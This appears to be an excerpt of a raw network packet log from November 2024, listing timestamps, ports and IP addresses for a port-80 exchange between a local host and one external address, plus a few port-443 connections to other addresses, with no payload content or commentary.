Nov 28, 2024 11:05:34.203833103 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.203874111 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.203936100 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.203989029 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.204933882 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.205029011 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.205049992 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.205070019 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.205916882 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.205995083 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.206027031 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.206188917 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.206957102 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.207063913 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.207065105 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.207148075 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.208029985 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.208081961 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.208086014 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.208120108 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.209053040 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.209120035 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.209151030 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.209198952 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.210103989 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.210155964 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.210196018 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.210277081 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.211157084 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.211210966 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.211236000 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.211286068 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.212220907 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.212265015 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.212327003 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.212368011 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.213299990 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.213347912 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.213381052 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.213421106 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.214314938 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.214409113 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.214509010 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.214549065 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.215338945 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.215387106 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.215466022 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.215503931 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.216444969 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.216499090 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.216520071 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.216536999 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.217453003 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.217499971 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.217586040 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.217634916 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.218497992 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.218533993 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.218554020 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.218590021 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.219619036 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.219686985 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.219717979 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.219759941 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.220630884 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.220674038 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.220733881 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.220783949 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.221636057 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.221690893 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.221726894 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.221780062 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.222685099 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.222727060 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.222805023 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.222846031 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.223715067 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.223759890 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.223814964 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.223859072 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.224806070 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.224929094 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.224934101 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.224963903 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.226181984 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.226243973 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.226252079 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.226371050 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.227077007 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.227118969 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.227175951 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.227216959 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.227952957 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.227996111 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.228051901 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.228095055 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.228935003 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.229078054 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.229130030 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.230010986 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.230068922 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.230099916 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.230385065 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.231054068 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.231096983 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.231163979 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.231218100 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.232145071 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.232203960 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.232219934 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.232266903 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.233136892 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.233181000 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.233247042 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.233289003 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.234258890 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.234323978 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.234357119 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.234396935 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.235285997 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.235340118 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.235409021 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.235452890 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.236290932 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.236336946 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.236391068 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.236444950 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.237373114 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.237416983 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.237447023 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.237550974 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.238516092 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.238560915 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.238616943 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.238725901 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.239552975 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.239595890 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.239602089 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.239634037 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.240474939 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.240521908 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.240565062 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.241516113 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.241595984 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.241642952 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.242554903 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.242598057 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.242672920 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.242706060 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.244139910 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.244153023 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.244184971 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.244668007 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.244721889 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.244745016 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.244761944 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.245712042 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.245759010 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.245811939 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.245846033 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.246752977 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.246809006 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.246860981 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.247450113 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.247812033 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.247891903 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.247941971 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.248857975 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.248922110 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.248951912 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.248986959 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.249908924 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.249967098 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.249974012 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.250164032 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.250963926 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.251022100 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.251077890 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.251182079 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.251960993 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.252011061 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.333921909 CET	443	49857	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:34.334013939 CET	443	49857	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:34.334182978 CET	49857	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:34.334266901 CET	49857	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:34.334281921 CET	443	49857	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:34.334297895 CET	49857	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:34.334304094 CET	443	49857	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:34.337652922 CET	49875	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:34.337701082 CET	443	49875	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:34.337810993 CET	49875	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:34.337918997 CET	49875	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:34.337929964 CET	443	49875	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:34.378662109 CET	443	49863	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:34.378885031 CET	49863	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:34.378897905 CET	443	49863	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:34.379245043 CET	443	49863	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:34.379597902 CET	49863	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:34.379669905 CET	443	49863	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:34.398504019 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.398566961 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.398572922 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.398610115 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.399044037 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.399116039 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.399180889 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.399220943 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.400084019 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.400127888 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.400202036 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.400243998 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.414983034 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415004015 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415055990 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.415087938 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415098906 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415110111 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415122986 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.415148973 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.415344954 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415357113 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415388107 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.415426016 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.415523052 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415533066 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415546894 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415558100 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.415559053 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415580988 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.415602922 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.415740967 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415774107 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.415849924 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415860891 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415879011 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415889025 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415894985 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.415899992 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415910959 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415919065 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.415923119 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415934086 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.415937901 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.415954113 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.415977001 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.416337967 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.416382074 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.416392088 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.416405916 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.416435003 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.416450024 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.416460991 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.416481972 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.416482925 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.416495085 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.416512966 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.416537046 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.416887045 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.416898012 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.416923046 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.417351007 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.417361975 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.417396069 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.417610884 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.417623043 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.417656898 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.418263912 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.418330908 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.418364048 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.418396950 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.419289112 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.419348001 CET	49863	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:34.419364929 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.419401884 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.419457912 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.420368910 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.420407057 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.420459986 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.420496941 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.421406984 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.421577930 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.421617031 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.422514915 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.422575951 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.422629118 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.422698021 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.423469067 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.423518896 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.423554897 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.423774004 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.424530983 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.424583912 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.424609900 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.424654961 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.425563097 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.425640106 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.425664902 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.425707102 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.426616907 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.426680088 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.426781893 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.426829100 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.427650928 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.427736998 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.427755117 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.427792072 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.428785086 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.428795099 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.428829908 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.428843975 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.429759979 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.429876089 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.429924965 CET	443	49864	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:34.429928064 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.430416107 CET	49864	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:34.430434942 CET	443	49864	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:34.430775881 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.430830956 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.430891991 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.430948973 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.431308031 CET	443	49864	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:34.431370974 CET	49864	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:34.431788921 CET	49864	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:34.431854963 CET	443	49864	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:34.431854963 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.431910992 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.431950092 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.432007074 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.432888031 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.432939053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.432998896 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.433185101 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.433996916 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.434051037 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.434170961 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.434206009 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.434988022 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.435028076 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.435127974 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.435379028 CET	49782	80	192.168.2.7	185.215.113.206
